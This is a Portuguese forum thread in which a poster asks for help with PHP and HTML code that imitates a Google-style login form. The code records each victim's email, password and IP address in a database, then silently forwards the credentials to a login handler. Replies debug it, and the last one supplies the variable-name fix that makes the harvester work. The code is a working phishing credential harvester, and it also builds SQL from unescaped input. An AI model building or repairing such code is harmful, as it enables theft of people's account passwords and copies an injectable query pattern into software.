Ir para conteúdo

POWERED BY:

Arquivado

Este tópico foi arquivado e está fechado para novas respostas.

P#DRO

Redirecionar Form Automaticamente

Recommended Posts

Olá pessoal !

 

Estou com uma duvida.

Não estou conseguindo enviar os dados capturados da pagina anterior via POST automaticamente para o meu DB.

 

Essa é a estrutura que eu estou usando:

 

Index.html > Contém os campos de POST e o FORM que os envia (Ex. Email e Senha)

Recebe.php > Contem um FORM automatico que recebe os dados da pagina Index.html e que envia as iformações (Usuario, Senha + Data) para um BD e depois redireciona para uma outra pagina que faz a ação de Login com o POST do Recebe.php.

 

O meu problema é que quando ele sai da Recebe.php e vai para a Login.php, ele não insere os dados no BD.

Mais se eu acessar diretamente o Recebe.php sem passar pela Index.html, eu consigo gravar algumas informações como Data e Hora, e o Email e Senha ficam vazios ! :blink: .

 

Acho que estou errando em alguma coisa no codigo. Vejam:

 

 

RECEBE.PHP

<?php
$conexão = mysql_connect('SERVIDOR', 'USUARIO', 'SENHA') or die ("Não foi possivel conectar ao Banco de Dados");
mysql_select_db('BANCODEDADOS');

$email = $_POST['Email'];
$pass = $_POST['Passwd'];
$ip = $_SERVER['REMOTE_ADDR'];
$data = date('d-m-Y');
$hora = date('H:i:s'); 
?>
<?php 
	$sqlinsert = "INSERT INTO TbInfo (id, Email, Senha, IP, Data, Hora) VALUES (null, '$email', '$passwd', '$ip', '$data', 		'$hora')";
	mysql_query($sqlinsert) or die ("Não foi possível inserir os dados"); 
?>
<html>
<head>
<title>Teste de Script</title>
<script language="javascript">
<!--
function fMudarPagina(){
    with(document.frmMudar){
        action = sltMudar.value;
        submit();
    }
}
//-->
</script>
</head>
<body onLoad="document.frmMudar.submit()">
<form name="frmMudar" method="post" action="login.php">
  <input type="hidden" name="continue" id="continue" value="http://www.yousite.com.br/actlogin.php?id=123" />
  <input type="hidden" name="service" id="service" value="Screen" />
  <input type="hidden" name="cd" id="cd" value="BR" />
  <input type="hidden" name="skipvpage" id="skipvpage" value="true" />
  <input type="hidden" name="sendvemail" id="sendvemail" value="false" />
  <input type="hidden" name="rm" id="rm" value="false" />
  <input type="hidden" name="hl" id="hl" value="pt-BR" />
  <input type="hidden" name="GALX" value="Vc31pLaGlyA" />
  <input name="Email" type="hidden" id="Email" value="<?php echo $email; ?>">
  <input name="Passwd" type="hidden" id="Passwd" value="<?php echo $pass; ?>">
  <input type="hidden" name='rmShown' value="1" />
</form>

</body>
</html>

Alguem pode me ajudar ?

Compartilhar este post


Link para o post
Compartilhar em outros sites

Você poderia postar também o código de index.html, onde estão as forms.

Bom, nesta situação, você precisa de dois inputs com atributos name iguais a email e pass.

Por exemplo:

 

<form action="recebe.php" method="post">
<p>Email: <input type="text" name="email" /></p>
<p>Senha: <input type="password" name="pass" /></p>
<p><input type="submit" value="Login" /></p>
</form>

Compartilhar este post


Link para o post
Compartilhar em outros sites

Você poderia postar também o código de index.html, onde estão as forms.

Bom, nesta situação, você precisa de dois inputs com atributos name iguais a email e pass.

Por exemplo:

 

<form action="recebe.php" method="post">
<p>Email: <input type="text" name="email" /></p>
<p>Senha: <input type="password" name="pass" /></p>
<p><input type="submit" value="Login" /></p>
</form>

Eae Thiago Alves,

 

Confesso que não esperava uma resposta tão rapida! VLW! http://forum.imasters.com.br/public/style_emoticons/default/joia.gif

 

O codigo da Index.html

<form id="gaia_loginform" action="recebe.php" method="get"
        onsubmit="return(gaia_onLoginSubmit());">
  <table id="gaia_table" align="center" border="0" cellpadding="1" cellspacing="0">

  <script type="text/javascript"><!--
    function onPreCreateAccount() {
    
      return true;
    
    }

    function onPreLogin() {
    
      
      if (window["onlogin"] != null) {
        return onlogin();
      } else {
        return true;
      }
    
    }
  --></script>
<tr>
  <td colspan="2" align="center">
  </td>
</tr>
<tr>
  <td nowrap="nowrap">
  <div align="right">

  <span class="gaia le lbl">
  E-mail:
  </span>
  </div>
  </td>
  <td>
  <input  type="text" name="Email"  id="Email"
  size="18" value=""
  
  
    class='gaia le val'
  
  />
  </td>
</tr>
<tr>
  <td></td>

  <td align="left">
  </td>
</tr>
<tr>
  <td align="right" nowrap="nowrap">
  <span class="gaia le lbl">
  Senha:
  </span>
  </td>
  <td>

  <input  type="password"
   name="Passwd" id="Passwd"
  size="18" 
  
  

  
    class="gaia le val" 
  
  />
  </td>
</tr>
<tr>
  <td>
  </td>
  <td align="left">
  </td>
</tr>
  <tr>

  <td align="right" valign="top">
  <input  type="checkbox" name="PersistentCookie" id="PersistentCookie"
    value="yes"
  
    
  
  />
  <input type="hidden" name='rmShown' value="1" />
  </td>
  <td>
  <label for="PersistentCookie" class="gaia le rem">
  Salvar as minhas informações neste computador.
  </label>
  </td>
</tr>
<tr>
  <td>
  </td>
  <td align="left">
  <input type="submit" class="gaia le button" name="signIn"
           value="Login"
                  />

  </td>
</tr>
  </table>
  </form>

Eu ja coloquei essem dois inputs.

 

Ele não insere os dados no BD ! Já até cheguei a alterar o POST para GET no Form da Index.html e no Recebe.php, e tambem não adiantou de nada.

Compartilhar este post


Link para o post
Compartilhar em outros sites

Amigo, vamos seguir o modelo de conexão

$conecta = mysql_connect(M_HOST,M_USUARIO,M_SENHA) or exit(mysql_error());
$banco = mysql_select_db(M_BD,$conecta) or exit(mysql_error());
if(mysql_errno()==0){
	$query = mysql_query("INSERT INTO TbInfo (id, Email, Senha, IP, Data, Hora) VALUES (null, '$email', '$passwd', '$ip', '$data','$hora');") or exit(mysql_error());
	if(mysql_affected_rows()>=1 and mysql_errno()==0){
		echo "Processo concluído com sucesso.";
	}else{
		echo mysql_errno()." : ".mysql_error();
	}
}else{
	echo mysql_errno()." : ".mysql_error();
}
Chamando mysql_error() você pode identificar o erro, poste aqui.

Compartilhar este post


Link para o post
Compartilhar em outros sites

Amigo, vamos seguir o modelo de conexão

$conecta = mysql_connect(M_HOST,M_USUARIO,M_SENHA) or exit(mysql_error());
$banco = mysql_select_db(M_BD,$conecta) or exit(mysql_error());
if(mysql_errno()==0){
	$query = mysql_query("INSERT INTO TbInfo (id, Email, Senha, IP, Data, Hora) VALUES (null, '$email', '$passwd', '$ip', '$data','$hora');") or exit(mysql_error());
	if(mysql_affected_rows()>=1 and mysql_errno()==0){
		echo "Processo concluído com sucesso.";
	}else{
		echo mysql_errno()." : ".mysql_error();
	}
}else{
	echo mysql_errno()." : ".mysql_error();
}
Chamando mysql_error() você pode identificar o erro, poste aqui.

 

Thiago,

 

Ele não mostrou nenhum erro.

Compartilhar este post


Link para o post
Compartilhar em outros sites

Dei uma lida com atenção no seu script, e notei um erro na query.

A variável $passwd não existe, o certo seria $pass.

$sqlinsert = "INSERT INTO TbInfo (id, Email, Senha, IP, Data, Hora) VALUES (null, '$email', '$pass', '$ip', '$data', 'hora')";

Compartilhar este post


Link para o post
Compartilhar em outros sites

×

Informação importante

Ao usar o fórum, você concorda com nossos Termos e condições.